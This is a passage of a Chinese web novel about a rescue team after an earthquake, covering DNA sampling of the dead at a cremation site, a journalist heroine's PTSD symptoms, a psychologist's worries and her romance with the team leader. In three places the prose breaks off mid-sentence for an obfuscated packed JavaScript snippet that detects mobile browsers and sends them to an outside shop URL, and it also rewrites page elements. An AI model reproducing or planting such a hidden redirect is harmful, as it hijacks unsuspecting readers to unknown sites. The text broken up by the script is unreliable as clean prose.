她很讨厌被摆着当吉祥物的感觉。 之前她忙得脚不沾地,十分充实,现在忽然告诉她,用不着你了,一边玩儿去吧,她反而觉得难受。 要同甘共苦才是同袍啊。 “唔……他确实提了一句,”纪士诚摸摸下巴:“但真正旗帜鲜明反对的,是林老师。” 他嘶了声,又想起来挖掘机开进来的那晚,林青淮冲冠一怒,忽然对齐寻发难,便低声八卦:“哎,你跟林老师,之前认识?” “不认识。”黎叙闻面无表情:“你要不让我帮忙,我连你也不认识了。” “关键是你能干什么,”纪士诚头都大了,这两口子倔得一样一样的:“白蛇说你不能见废墟,林老师说你最好门都不要出。这里面哪个是不出门能做的?” 黎叙闻一口气被堵在嗓子眼,气闷得很:“就没有只出门,不见现场的活儿吗?” 纪士诚啧一声,准备骂她胡扯,话到嘴边打了个转,却又吞了回去。 别说,这么一想,还真有一个。 他舔了下嘴唇,决定吓退她:“有啊,装殓遗体,你干吗?” 黎叙闻心脏重重地跳腾了一下。 不知为什么,她第一反应是认怂,好像全身的理智都在叫嚣着,让她快跑。 可她这个人,偏偏说不出“干不了”三个字。 “有什么不能干的?”她脸色僵硬了一瞬,又恢复如常:“又不是验尸,我不怕。” 事实证明,她想得还是太简单了。 虽然已是九月末,但塔拉维气候温暖,远没有京屿那样萧瑟的秋风,大灾之后防大疫,遗体的处理还是迫在眉睫。 按道理讲,这种工作是轮不到微光这种国外的民间救援组织的,但驻扎在塔拉维的库萨军队制度严明——他们只参与救援幸存者,不参与非军系统的遗体处理。 齐寻气得额角血管突突直跳:“说什么屁话,遇难的难道不是你们的同胞?你们这是集体失格!” “这些死者都没有身份,接一个我们就得上报一回,谁来担责任?”军官说:“借睡袋要多少有多少,借人的话,实在抱歉。” 再愤怒也没有用,到最后也没能争取到支援。 可微光也不能真的撂挑子不管了,名声是一方面,更重要的是,这里还有幸存者。 他们还要在这里生活。 于是救援队在远离大本营的露天农贸市场设置了临时火化点,由于人手不足,队员们只能尽可能一人多岗,一个人得兼顾接收、编号、拍照、采样各个环节,必要时还需要接待家属,认领遗体。 连神父都带着信徒们来帮忙了。 这里面最让大家避之不及的是采样。 震区中能当场辨认身份的受难者不足50%,很多人在地震中失去了亲人,失踪状态在两周后自动转为死亡,可这轻飘飘的单词并不能让他们甘心。 他们需要一个鲜明的证据清清楚楚地告诉他们,故人已经离开,你也是时候放下这些,好好生活了。 这个证据,就是这些一线救援力量从遗体上采下的样本,编号归档之后,再跟基因库对比。 可采样这个动作本身,对志愿者来说,却非常残忍。 他们平时只是普通人,一辈子说不定连死人都没见过,现在要上手做这种事情,心理关实在难过。 当本地政府请来的法医当着黎叙闻的面,撬下了遗体的一颗牙齿,并把钳子交到她手里时,她没有犹豫,第一时间就跑到一边吐了。 她甚至都没有感觉到恶心,或者是胆怯,完全是一种身体的本能反应。 而更糟糕的是,她已经是被分来的这些队员里,唯一敢靠近的了。 法医拿出银色扁壶嘬了口,见怪不怪道:“去清理,你们这个状态,我不会让你们靠近工作台。” 但现实容不得他们慢慢好起来。 火化点门口的车一辆接一辆,一层一层的黑色袋子堆在门口,接收和归档的任务堆成了山,总要有人从这里疏通,整个流程才能运转。 黎叙闻漱了口,拉上厚厚的口罩,胃袋抽搐地反着酸水,一咬牙:“我来……” 她刚靠过去,手上的钳子便被人拿走了。 林青淮跟她一样,捂着厚厚的双层口罩,声音闷在里面,有些失真:“给我吧。” 他半张脸都在口罩里,但印堂发青,眼圈也泛着一点红。 “你怎么来了?”黎叙闻问他:“不难受?” 林青淮那双总在审视的眼睛,这时候透过护目镜,正微微弯着:“刚刚在外面吐过了。” 他屏了屏呼吸,尽量让视线专注在某个点,然后手起钳落,当啷一声,采下的样品被封进了试管里。 那是一条生命在世界上最后的回响。 黎叙闻隔着闷热的呼吸,和口罩内浓重的薄荷油气味,抿住了唇角。 她盯着林青淮的脊背看了一阵,拿起另一把钳子,走向另一个黑色塑料袋。 “叙闻?”林青淮叫她:“你……” “我也吐过了。”黎叙闻说。 采集点一片静默,只有器械工作的闷响声,还有他们用力时喉咙里的闷哼。 少倾,刚刚坐在一边面无人色的队友们纷纷站起来,去法医那里领了工具,火化点的流程终于顺畅地流转起来。 …… 下午,跟车来的换成了B组。 齐寻跟接收处的姑娘交接好,隔着忙碌的人群,远远往里望了一眼。 昨天闹过一场后,他还没来得及再跟闻闻说话,就听老纪说她自行请命,到火化点来了,担心了一上午,好不容易熬到换班,就想看她一眼,能确定她没事就行。 结果一眼就看到林青淮跟她站在一起,比比划划在说着什么。 他轻啧了声,抬脚就向里面走去。 “没有想象的那么难……” 黎叙闻没头没尾的半句话隔着棉布透出来,半截飘进了他的耳朵。 “闻闻,”他轻声叫:“怎么到这儿来了?没事吗?” 黎叙闻回头看他,眼睛先亮了一瞬,然后忽然又淡了,声音也淡淡的:“没事,别挂心了。” 齐寻心里一揪,面上却平静:“嗯,今天回去……” 她眼珠黑白分明:“回去要做不少归档报告,怎么了?” 一句话就断了他的退路。 林青淮站在一边,极没眼色地闷声一笑,成功收了齐寻一记眼刀。 “你昨天说等回去,我还以为你要等回那个哪儿,”她漫不经心道:“才要跟我说话呢。” 平平无奇的一句揶揄,林青淮却忽然眼角一跳。 “别瞎想。”齐寻递给她一瓶电解质饮料:“别硬撑,难受了就请假。” 黎叙闻别扭地看着那瓶水,不想领他的情,又不忍心当这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299586|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人面给他难堪,便伸手接了,没说话。 “行了白蛇队长,”林青淮忽然开口:“休息时间差不多了,行动组无事可做吗?” 齐寻带着气看了他一眼,又对闻闻道:“走了。” 黎叙闻嗯了声,也不看他。齐寻伸手点了点林青淮,转身走了。 等他离开,黎叙闻整个人闷闷不乐下来,坐在一边,道:“不知道他累不累。” 林青淮沉黑的瞳仁盯着她:“先别管他。叙闻,我问你,等救援结束,我们要回哪里?” 黎叙闻“啊?”了声,奇怪地看了他两秒:“回京屿啊,怎么?” 林青淮仍看着她,死死盯住她的瞳孔。 没有瞳孔震颤,还好。 刚刚黎叙闻怼齐寻的时候,说了个“回那个哪儿”,这对一般人来说可能只是无足轻重的口癖,但黎叙闻不一样。 身为记者,她受过非常严格的训练,任何时候出口的话都要尽量减少代词,这样才能保证写报道或是现场播报时语义准确。 他跟她做咨询工作这么长时间,极少从她嘴里听到“那个哪儿”。 仅有两次,都是她在受到外界刺激、精神状态极度脆弱和混乱时,口不择言说出来的。 他怪异的反应让黎叙闻汗毛都竖起来了:“你干什么?被上身了?” 林青淮若有所思地看着她,又问:“你硕士毕业论文的题目是什么?” 黎叙闻莫名地望着他:“就,就是……” 答案就在唇齿间了,她却怎么都说不出来。 “叙闻,”他按住黎叙闻的肩膀:“去请假,你不能在这工作了。” 这是典型的轻度解离症状,多见于PTSD患者在被触发初期,一般表现为情绪闪回、记忆跳帧、知觉阻断等症状,如果不及早干预,患者精神状态很容易失控。 黎叙闻怔愣了下,耳边猝不及防擦过一阵嗡鸣。 她明白他的意思了。 “刚刚你特意支开齐寻的,是吗?”她问。 林青淮点头:“我想你大概舍不得让他担心。” 黎叙闻心下一软:“你……” “他看我不顺眼也不是一天两天了。”林青淮指了指旁边:“你先去坐,这里我来。等下一趟车来,你就跟着回大本营。” “……把这种工作甩给别人?” “对。” 黎叙闻静静地望着他,没有动。 火化点是个很奇特的地方,干涩的拉链声、咔嚓作响的快门声,交接处纷杂的对话声,还有神父的祈祷、亲属接待处呜咽颤抖的哭声,好像都打不破它的寂静。 又或者,寂静的是她的眼神。 “我们没有那么多人手,”黎叙闻说:“我不能走。” 林青淮目光迟疑地顿了顿。 卡车源源不断地开进来,每个人忙得脚不沾地,现在别说少一个人,就算有人多喝一口水,多去一次洗手间,可能都会造成拥堵。 “不行,你……” “你不是还在吗,”黎叙闻定定地望着他:“晚上咱们久违地约一次咨询,可以吗?” 林青淮心里藏得很深的地方被轻轻触碰,他眉心抽了抽,轻轻呼了口气。 “你都没办法吗?”黎叙闻间不容瞬地凝视他:“那我只能做一个废人了。” 她的目光似乎有一种魔力,无论她在说什么,无论她提出什么要求,被这种目光沉沉地凝望着,任何人都很难讲出一个“不”字。 何况是林青淮。 对,他慢慢地眨了眨眼,想。 叙闻最恨自己是废人,我不能,不能让她…… 下一秒,他手心一空,钳子被毫不留情地拽走了。 她眉眼微弯,像是得到了什么奖赏:“那么,一言为定。” 118. 第 118 章 齐寻离开后,没有第一时间回现场,而是搭顺风车回了一趟大本营。 来支援的那法医他昨天在指挥帐见了,顶着个红彤彤的酒糟鼻,看着挺清醒,舌头却大着。 他还担心这酒鬼不靠谱,专门上网查了,发现人家是库萨有名有姓的法医,那金光闪闪的资历险些闪瞎他的眼。 刚刚一见黎叙闻,他就发现她脸色明显不好,骂他都不如平常有底气。 其他人也好不到哪去,大家的精神状态都撑不了多久了。 于是他把主意打到了法医身上。 灾后的库萨,全国从上到下职能基本已经瘫痪,法医、警察这种特殊工种早被抽调去了中心区,塔拉维这种爹不疼娘不爱的地方,派个老师来义务指导半天,已经算仁至义尽了。 有证的排不上,那没证的呢? 或者,还没毕业的呢? 准备离开的法医听他有此一问,先被逗笑了:“连不会下蛋的小鸡都不放过?” “总比赶鸭子上架强。” 法医摸出扁扁的银色酒壶抿了口,咂咂嘴:“他们都离得很远。” “路差不多通了,我们派车去接。” “不行吧,风险太大了。” 齐寻不跟他磨嘴皮了,转身捏了两瓶伏特加,一言不发搁在他面前。 法医眼睛一下子亮了。 香烟、烈酒这种情绪消费品,在灾区完全是硬通货,当时齐寻买物资时顺手带了两箱,没想到真派上了用场。 “一个人。” 见法医眼睛直勾勾盯着那两个透明的玻璃瓶,他又转身拎了两瓶,放在他面前。 “两个人。” 他看着法医,道:“我们要你两个学生,在火化点干一周,要胆子大、体力好、事不多的。”他把四瓶酒往法医跟前一推:“这些是你的,学生的酬劳我们另付。” 法医眯着眼看了他一阵,又摸出酒壶,这回不抿了,改灌了:“成交,那三天后……” 又有两瓶酒摆到了桌上,瓶身碰得当啷作响。 “明天。” 法医咽了咽,探头看他身后:“你肯定还有……” 齐寻好气又好笑,推着他坐回椅子上:“少喝点吧,喝多了还能干活?” “你不明白,震区是这样的,”法医拧开一瓶伏特加,使劲嗅了下,表情沉醉:“就是喝醉了,才能干活。” …… 等黎叙闻结束十小时工作,换班回来时,大本营已经充斥了闷热的醋酸味,把原本存在感极强的消毒水都盖了过去。 医疗组给每个帐篷门口都挖了坑,架上坩埚,在里面熬煮陈醋。 而大本营里安静得出奇。 正是晚饭时间,大家有的捧着自热米饭,有的在啃压缩饼干,但怪异的是,没有一个人出声。 这是林青淮新定下的规矩:吃饭的时候不要说话,不要跟别人打招呼,专注吃饭,最好能听一些舒缓的音乐。 还有很多诸如此类的事项,比如在每个帐篷后面都设置了几个留言本,队员们可以去匿名写任何自己想写的东西;在进入大本营的地方设置缓冲区,供大家换下衣服、平复心情;心理组的咨询师轮班,24小时敞开接待。 ——心理组在用尽方法提醒所有人,不要恍惚,不要融入,不要被铺天盖地的死亡拖走。 深褐色液体在坩埚里咕嘟作响,黎叙闻捏了捏被薄荷油熏到没知觉的鼻子,拿了东西,排队去洗了澡,换了新的制服,才到了心理组的帐篷里。 林青淮一共带了十个人来,前期大家还不知道为什么要配心理组,到今天才终于明白,心理组就是他们的回血站。 几个咨询师每人一个小隔间,脚边放着小提灯,有的在安静地倾听队员一身的疲惫和痛苦,有的注视着面前发呆的队员,有的正默默陪着队员一起流泪。 林青淮坐在最靠里的角落,拿着那个她熟悉的垫板,扬手跟她示意。 黎叙闻在他面前坐定了,沉默了很长时间。 她麻木地盯着自己的脚尖,情绪像压在玻璃下面的海,看着汹涌,摸上去却又硬又冷。 坐了一会儿,她忽然笑了:“这感觉好奇怪。” “是,我们结束了咨询关系,原则上不能这样面对面了,但事急从权。”林青淮的金丝框镜在震区仍透亮得一丝不苟:“你如果接受不了,就当是朋友聊天。” “也没有,就是……” 她说了半句,忽然坐着不动了。 林青淮等了将近半分钟,终于觉出不对,拧着眉叫她:“……叙闻?” 黎叙闻毫无反应,僵直在椅子上,鼻翼不停地细细抽动着。 她闻到了一股浓郁的、怪异的味道。 那是一种形容不出的恶臭,她甚至不知道这味道是什么时候出现的,好像它就一直盘桓在周围,萦绕在她鼻尖,鬼魅一样一直盘踞着,只等着她突然发现。 她从没闻过这种味道,但甫一碰面,她却立刻本能地知道了那是什么。 那是亡者的味道。 黎叙闻胃袋猛地一抽,忽然侧头干呕起来。 林青淮吓得赶紧给她拍背:“怎么?” 她连饭都没吃,吐也吐不出东西,难受得直反酸水,眼睛里全是泪。 让林青淮帮着勉强漱了口,黎叙闻伸手推他,问:“你没闻到我身上什么有什么味道吗?” 林青淮愣了下,随即明白了。 “你身上没有味道,”他松了口气,坐回椅子上:“只不过嗅觉一直被遮蔽,现在突然放开,幻嗅了。” 那种气味是写在基因里的禁令,极难散去,但队员们进大本营前,已经全部换过衣服,衣服也会集体拿去中和消毒,更不用说她还洗了澡,还有大本营中无处不在的醋味、消毒水味、和煮柚子皮味。 她身上就算有,也只剩下一点点,绝不是她闻到的那种感觉。 黎叙闻按着抽痛的胃部,忽然电光火石地想起来前一天晚上,在齐寻身上闻到的,掩盖在浓重的须后水后面的那一丝丝怪味。 就是这个味道。 难怪他一直抗拒跟她亲近,难怪他只远远看着她。 “没事的,只要撑过24小时……叙闻?” 林青淮一句话没说完,就眼睁睁地看着黎叙闻忽然弹起来,把身后的凳子都带翻了。 “不好意思我有点事,”她半句话还飘在空中,人已经不见了:“下次聊!” …… 指挥帐里,齐寻正在接地方政府的电话。 酒鬼法医贪归贪,做事还是靠谱,竟然有门路能让他们把学生从别处抽调回来,还额外要到了津贴,说是明天就到。 “你们应该谢谢他,”那边的办事员口气倨傲:“别的地方都没得用,他专门挑了人派给你们,免费!” 齐寻哂笑了声:“那真是多谢了。” 不满是对地方政府的,但对那酒鬼,他是真存了感激。 几瓶酒买不来这种待遇,想来这片土地上,应该还是有很多道心高悬的普通人。 这件事算尘埃落定,从明天开始,无论是闻闻还是其他人,都不用再面对那种超过他们心理负载的操作了。 虽然还是要在火化点工作,但这面屏障,应该能替她抵挡不少。 ……现实问题解决了,那感情问题呢? 齐寻盯着被寒凉夜风拂动的门帘,深吸一次,兀自地出了神。 行动组是最早暴露在有气味的环境中的,暴露时间也最长,他的嗅觉其实早就对那种味道免疫了。 但越是这样,他就越不敢靠近。 他闻不到自己身上的残留,更没办法确定她对这味道是不是敏感。万一一丝气味都会触发她的症状,那…… 大本营浓郁的醋味总有进不去的角落,等她真正暴露在无处不在的尸臭里,到时候该怎么办? 想着想着,他就无端陷入了一种奇怪的情绪里,觉得闻闻这个人,他怎么都对她不起。 好像她不是那个伶牙俐齿、胆大妄为的记者了,而是个脆弱的孩子。他就应该把这世界变成温柔乡,让她好好睡在里面,从此什么都不必忧心。 他正愁得头疼,帐子外面忽然传来一阵熟悉又急促的脚步声。 不等他反应,那个他始终挂心的人便一把掀开帘子,三两步冲到他面前,一句话没有,张开双臂,直接扑进了他怀里。 像归巢的小鸟。 齐寻险些被扑个趔趄,还下意识往后躲,后背直直贴上了冰凉篷布:“……怎么了?” 黎叙闻把脸埋在他胸口,闷声道:“你闻一下我。” “嗯?” “闻一下我,”她抬起脸,对他扬起明艳微笑:“我现在跟你一个味道了。” 齐寻心里先是“别”地一跳,终于明白了她的意思。 他以为自己第一反应会是庆幸,因为她看起来蛮有精神,连疲惫的萎靡都没有,想来没有被那味道触发不好的记忆。 但在此之前,他心口却忽然酸软地疼了起来。 她受苦了。 于是齐寻先低头亲她鼻尖,问:“难受了吗?” “哪儿能呢,我多棒。”黎叙闻口是心非道:“现在可以抱抱了吗?” 齐寻笑着伸手,把她腰身往自己身前又勒了勒:“这还不叫抱?” “我说的是每天!”黎大记者跟个大号人形挂件似地,挂在他身上不撒手:“你现在没理由了,跑不掉了,你永远、永远都不能推开我!” 这样理直气壮又直白的撒娇极少从她嘴里听到,齐寻五脏六腑都软成了水,用身体把她整个人裹起来:“嗯,是我不对,以后就把你挂皮带上,走哪带哪。” 黎叙闻手臂松了松:“……那倒也不必了。” 齐寻:“……” 真就温存不了三秒。 …… 趁着入夜,大本营渐渐陷入筋疲力尽的昏睡,齐寻带着黎叙闻到旁边的小山坡上,挖坑烤红薯给她吃。 点火烧柴的烟还没散尽,蓝幽幽地罩在半山腰,黎叙闻身上披着齐寻的外套,抱膝靠坐在一棵粗壮的松树下,被熏得直咳嗽。 可鼻腔里还是若有似无地充满了那种要命的味道,她皱着鼻子闻自己胳膊:“我身上真没味儿?” “没有,”齐寻捡了根树枝,熟练地挑动明火跳动的土坑:“要有也是大家都有。” 黎叙闻今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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齐寻安静地等了她一会儿,拍拍手坐到她身边,说:“我想不明白一些事的时候,就会静下来,去听周围的声音。” 黎叙闻怔愣地看着他。 “比如现在,你听——” 黎叙闻随着他的话音,缓缓闭上眼睛。 树间虫鸣正喧嚣地吟唱,风从远处寂静路过,扫过琳琅树叶,沙沙地舞动着,掀起她宽大的衣角,猎猎作响。 不远处的大本营,有人在收拾烧剩的坩埚,有豪迈的泼洒声,汩汩的流水声,还有低声的、呓语似的呢喃。 身边人的呼吸和心跳,如此温暖、笃定,陪伴着她的,一起蓬勃着,走向时间的远方。 等她睁开眼,她已经不想再去追问意义。 她在这里,在工作、生活、奉献、爱,这本身已经是最大的意义。 炙热温度攀上她微微发冷的指尖,慢慢地跟她十指相扣。 这点温热把她和她飘摇的思绪,一起拽着落了地。 “可是你家里人……”她又问,小心翼翼地:“你不怕吗?” 齐寻手里的树枝有一下没一下地敲着泥土,带起沉闷的声响。 “其实怕过。” “那你怎么……” “脱敏。”他言简意赅。 为了做救援,齐寻到京屿上学的第一个寒假,就找了个非常小众的去处。 去殡仪馆实习。 在那里他看过很多别离,每一次的修容和告别仪式他都不缺席,安抚遗属的同时,也重新再把自己安慰一遍。 到后来,他真的做到能直面死亡而波澜不惊了。 “那年的年夜饭,我都是在殡仪馆吃的,”他笑着说:“待遇不错。” 这笑把他刚硬的轮廓都柔和了不少,却跟针似的,扎进黎叙闻的眼睛。 她眼眶刺痛似地瑟缩下,喉头漫上一片沉厚的苦涩。 她想说那时候你要是认识我就好了,我接你回家吃饭,我爸手艺可好了—— 可她又忽然反应过来,那时候爸爸已经生病,妈妈已经带着她出国了。 那年的年夜饭,她跟妈妈是窝在连电视都没有的阁楼里吃的。 她笑了声,低下头,没有说话。 齐寻拿木棍拨弄着土坑,继续道:“看得多了,就觉得没关系了,不管是什么样子,那都是别人朝思暮想的亲人。” 他指尖轻轻点着她的手心:“既然遇见了,就好好送走吧。” 这时候呛人的烟已经散尽,很淡的焦糖气味裹着一点焦糊的气息,从土坑地慢悠悠地探出头来。 是夜寂静,静得能听见被土盖住的轻微的“呲呲”声,让风一吹,又给带走了。 齐寻看了眼时间,搓搓手,期待地把三个小小的红薯蛋从坑里挖了出来,烫得在手心里来回倒,直到吹得不烫手了,才剥了皮,交到黎叙闻手上。 软糯甜香的气息一下子冲淡了所有异味,焦香直冲头顶。 黎叙闻轻轻咬下一口,甜津津的滋味蓦然在舌尖绽开。 她无声地笑了,把红薯伸过去,跟齐寻手里的轻轻一碰。 “干薯!” 不远处的大本营灯火微茫,有人在那里休整、忙碌,慢慢地把这个世界拉回本来的样子。 洗不掉的味道,就交给烤红薯。 想不通的事,就交给爱。 119. 第 119 章 然而比火化点的气味还让黎叙闻难以接受的东西,就这样轻而易举地出现了。 她也是没有想到,就她起床跟晨练的齐寻打了招呼,到他们迎着清晨的光准备换班上岗的短短半小时里,他就有本事挑起一场战争。 “闻闻,听话,就尝一点。”齐寻怀里抱着个小罐子,追了黎叙闻半个营地:“我都没要你迁就过我什么对不对?就这一次,行吗?” 黎叙闻抱头鼠窜:“不行!不行!你别过来!” “别害怕啊,”齐寻坚持道:“你不是嫌那边气味不好,以毒攻毒,肯定有用。” 阿咩也在一旁帮腔:“真的闻姐,你试试,习惯了你会爱上的。” 刘濛嘴里叼着半根罪魁祸首,一边嚼嚼嚼一边点头:“是啊很香的,试试嘛。” 齐寻指间捏着一条,又白又胖,硬挺挺的,像个散发着腥气的大虫子:“就一根……” “都别过来!”黎叙闻捂着鼻子:“我看你们是想让我死!” 齐寻手里抱着的,是刘濛带给阿咩的一小罐折耳根。 当时阿咩高兴极了,跟献宝一样拿给黎叙闻看,说这是白蛇最喜欢吃的东西。 黎叙闻:“哈哈,不可能。” 很快就被打脸了。 “我跟你结婚是为了吃折耳根的吗?啊?”黎叙闻痛陈,企图唤起齐寻的良知:“我也没让你喝豆汁儿吧?” 谁知他表情坚毅:“没关系,我可以喝。等回去你让我喝多少我就喝多少。但你先……” “想都别想!”黎叙闻无能狂怒:“你这是家暴你知道吗!” 齐寻苦笑:“我肩膀上的牙印疤可还没消呢。” 小熊端着一碗稀粥在一边观战,到这实在听不下去了:“……差不多可以了啊,对你们有对象是吧?” 两人异口同声:“你闭嘴!” 小熊被小夫妻吼了一通,嘁了声,愤愤地吃了口榨菜,咬得咯吱响。 正拉扯拌嘴的功夫,电锯妹手上拎着制服上衣路过,被这神奇的小坛子吸引了注意,哒哒哒跑过来:“这是什么?我能吃吗?” 齐寻:“……” 黎叙闻:“鱼腥草,这味儿……” 电锯妹的伸向罐子的手肉眼可见地在空中顿了下,紧接着下定决心似地又伸过去:“那我就尝一小点儿……” 黎叙闻趁机把罐子从齐寻手里抢过来,塞给电锯妹,转身就跑。 齐寻冲着她狼狈逃窜的背影,带着笑朗声喊:“哎,薄荷油带了吗?” 那个身影像没听见似的,灵巧地钻进班车里,不见了。 齐寻:“……啧。” 第一次折耳根攻防战,攻方大失败。 他掏出纸巾擦了擦手,笑得很舒爽:“行了你们拿去吃吧。” 小熊也跟着乐:“白蛇,朝那个方向拜才能找到这么好玩的老婆?” 齐寻伸手在他脑壳上一敲:“喝你的粥。” 大家嘻嘻哈哈了一阵,招呼其他人来吃,然后纷纷收拾东西,准备上岗了。 有人吵嚷嬉闹着加入战局,而有的人抱着手臂,站在心理组帐篷门口,沉默地看完了这场戏。 直到大家散了,林青淮才走上去,拦住齐寻,客气道:“副队有空吗?聊两句?” 齐寻视线瞟到他的那一秒,脸上的笑跟见了瘟神似的,瞬间消失无踪。 周围的气压至少高了一个大气压。 他径直走到心理组帐篷里,连帘子都没给林青淮掀。 林青淮后脚跟进来,那种礼貌的客气也一并留在了帐外,一坐下就对他发难:“你到底怎么想的?” 齐寻顾自倒了杯水,自己喝了:“我怎么想的要跟你汇报?” “身为别人的,丈夫,”林青淮不自然地停顿一下:“你是不是至少应该对自己的家人负责?” 齐寻听着好笑:“你以什么身份来跟我说这句话?” 林青淮一哽,把眼睛摘下来,随手扔在桌面上,当地一声。 “我用的不是我的身份,是我的专业技能。”他道:“她不适合那种场合,你是忘了还是根本不知道?” 齐寻瞟他一眼:“我联系了专业人员,今天她不用采样了。” 林青淮盯着他,眼神意外地顿了顿。 他无声地吞咽一次,又道:“不够,她根本不该暴露在那种地方。” “所以你觉得一开始我没拦吗?老纪没拦?”齐寻撩起眼皮睨他一眼:“既然你这么清楚,这些话你怎么不亲口跟她说?” 林青淮半句威严的教育卡在半空,卡了好长一阵子,才低声说:“……她不听我的。” 直接给齐寻听笑了。 他大发慈悲似地,把保温壶往他面前一搁:“哦,这样。可她跟我说,她心里有数。” “齐寻!”只要一对上他,林青淮的涵养和自持就不知道丢哪儿去了:“你现在就在主台发话!把她调回来!” 齐寻奇迹般地没有跟他拍桌子对着杠,而是微微眯着眼睛,用一种很深的目光看着他。 林青淮从自己暴躁的尾音中慢慢收敛,冷静地对上他的眼神,寸步不让。 不堪负荷的应急照明在角落发出细微的声响,靠着它的金属仪器,被摇出一阵嗡鸣的震颤。 沉默良久,齐寻忽然道:“有时候我真不明白,你到底想干什么。” “我想保护她。” 齐寻鼻息中带出一声气音:“黎叙闻是我见过最聪明的人,她不需要任何人自以为是的保护。” “她……” “我知道,”齐寻竖起手掌:“我知道你要说什么。你无非觉得她有家族遗传,暴露在这种环境下随时有可能被触发。在你看来,她最好能老老实实呆在京屿,如果不行,那守在大本营也是好的。可她想做什么,你想过吗?” 林青淮忍无可忍:“你恋爱脑也要分清轻重缓急!现在不是由着她任性的时候!况且她不止是家族遗传……” “哦,你觉得她在任性,”齐寻笑了声:“可我觉得她在用这种方式活着。” 角落的嗡鸣忽然停了。 世界静得出奇,林青淮呼吸都停了一瞬,不知被什么所阻塞。 “我觉得她在竭尽所能地活着。”齐寻在说起她时,语气总是郑重:“她就是这样一个人,拼命燃烧,不断拓宽自己的世界,在这件事上,谁都拦不住她。 “你觉得这里危险,所以想把她控制起来。”他轻轻笑了笑:“你以为她是你手心里听话的麻雀吗?她不是,她不是任何人能控制把玩的物件。” 他自己大概不知道,他这个表情,跟黎叙闻狂起来的时候一模一样。 他不知道,可林青淮知道。 林青淮面色铁青地望着他,视线越来越冷。 他深吸一次,自己倒了水,慢吞吞抿了口。 热水入喉也成了冰泉,将他莫名的怒火压熄。 他重重一闭眼,才说:“也许你是更了解她,但万一出了什么事,你能为她负责吗?” “你不信她吗?”齐寻反问他:“你不信她是能为自己负责的成年人,而是把她当成个不知深浅的孩子,是吗?” “枉她那么信任你,”他抱起双臂对林青淮一哂:“原来你根本不信她。” 林青淮嚯地站起来,膝盖险些把单薄的折叠桌顶翻。 齐寻眼都没眨,好整以暇地靠进椅背里:“其实你根本没有跟我争的必要。我觉得这样挺好,我尽我所能保护她,你也一样,但无论你做什么,结局都不会变。” “我当然会尽力托举她,不让她真的掉下去,”他锋锐的眉眼微微弯着:“但如果哪天她准备好下去看看,我也不介意陪她一起。” 林青淮站着,自上而下对上他的眼睛,眉头抑制不住地轻轻一抽。 这一抽就分出了胜负。 或者说,他从来就没有上过牌桌。 一阵电流滋啦声突然响起,里面传来电锯妹的声音:“白蛇?你去哪儿了?还走不走呀?” 齐寻回了句“马上”,然后站起来,路过林青淮时重重一拍他的肩:“感谢,林组长。” …… 而被他们裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308492|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挟在争论之中的人,这时候无知无觉,刚到工作点,一下车就瞪大了眼睛。 不止是黎叙闻,所有救援队的人都惊呆了。 夜班收工后的凌乱已经完全被整理干净,各种准备工作和工具被收拾得井井有条,两个穿着全套防护服的陌生人站在搭起的敞篷区门口,正冲他们招手。 两个人中高个子的那个看到他们,上来打招呼,护目镜和口罩一摘,是一张特别年轻的当地人的脸:“早上好,请穿好装备,到这里来,我来跟你们解释流程。” 小组长这时候才一拍脑袋:“哦,嗐,昨天白蛇跟我说了,说给咱调来两个帮手,我以为他从幸存者里随便抓的呢,就没放心上。” 黎叙闻在人群里,扬着眉眨了眨眼。 昨天跟齐寻一起,又聊天温存又烤红薯,可他一句都没提。 那时候齐寻问她身体能不能撑得住,她还以为他会趁机让她从火化点撤出来,在大本营老实待着,准备了一箩筐的论点论据论证,结果到最后,他都没强求。 她刚刚在车上还在纳闷,现在终于明白了缘由。 一没留神,一个温软的笑就从唇角溢出来了。 高个志愿者指了指旁边:“给你们准备了防护服和护目镜——你们之前的装备太简陋了,我来给你们示范如何穿。” 事实证明,专业的事还是得专业的人来。 他们加入后,整个火化点的效率提升了不止一倍,尤其是之前黎叙闻战战兢兢、咬牙硬上的采样点,两个志愿者干净利索,取样又快又完整,跟机器人似的。 一上午倏忽而过,午间休息时,大家聚在一起闲聊,脱了护目镜,才看到那个一直不言不语的矮个子志愿者,是个女孩子。 “我师姐,”那小伙子非常骄傲:“她是导师手底下最好的学生!” 师姐不说话,就在一边腼腆地笑。 黎叙闻逗他:“师姐是最好的学生,那你呢?” 小伙子挺起胸膛:“我是他未来最好的学生!” “你认识我导师吗?”他凑过来,把手机递到黎叙闻鼻子底下:“你肯定认识他!” 黎叙闻:“……我怎么会认识一个法医……” 她垂目扫了一眼小伙子递过来的履历生平,硬生生闭上了嘴。 ……她还真认识。 布鲁诺·塞利维诺,国际知名灾难法医学专家,世界卫生组织灾难响应特派组技术顾问,曾任国际红十字会战地法医学项目负责人。 他本人著有多部法医学经典著作,更有一本面向大众的科普读物《最后的证词》,一度登上亚马逊全球畅销榜。 那本书黎叙闻也读过,读得又哭又笑的,于是就记住了那个语言诙谐,但思想深沉悲悯的作者。 ……昨天那个严苛的法医老头竟然是他! 